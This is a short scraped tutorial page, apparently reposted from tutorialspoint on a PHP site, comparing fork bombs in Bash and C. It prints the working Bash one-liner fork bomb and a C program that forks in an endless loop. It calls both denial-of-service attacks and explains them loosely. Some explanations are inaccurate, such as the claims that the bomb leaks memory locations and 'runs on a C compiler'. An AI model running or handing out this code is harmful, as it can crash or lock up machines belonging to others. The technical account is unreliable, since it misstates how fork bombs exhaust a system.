Home > Backend Development > C++ > body text

C vs BASH Fork bomb? C vs BASH Fork bomb?

王林
Release: 2023-09-13 10:25:02
forward
1399 people have browsed it

C vs BASH Fork bomb? C对BASH的Fork炸弹?

The Fork() bomb is a Dos (Denial of Service) attack on Linux-based systems. This calls the Fork() system an infinite number of times, filling up the program's memory with the intention of harming the system.

fork bomb's Bash script

:(){ :|: & };:
Copy after login

The code is explained as: ( ) is the function definition, { } defines the loop body. :|:& creates a memory location and does not allow it to be freed. The program calls itself multiple times, again and again. This enables unlimited calls.

The C Fork bomb is also the same type of DOS, but it runs on a C compiler. This creates infinite calls to memory allocation and leaves the system running out of memory.

Example

#include <unistd.h>
#include <malloc.h>
int main() {
   while (1) {
      fork();
   }
}
Copy after login

Output

Infinite calls
Copy after login

The above is the detailed content of C vs BASH Fork bomb? C vs BASH Fork bomb?. For more information, please follow other related articles on the PHP Chinese website!

source:tutorialspoint.com
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template
About us Disclaimer Sitemap
php.cn:Public welfare online PHP training,Help PHP learners grow quickly!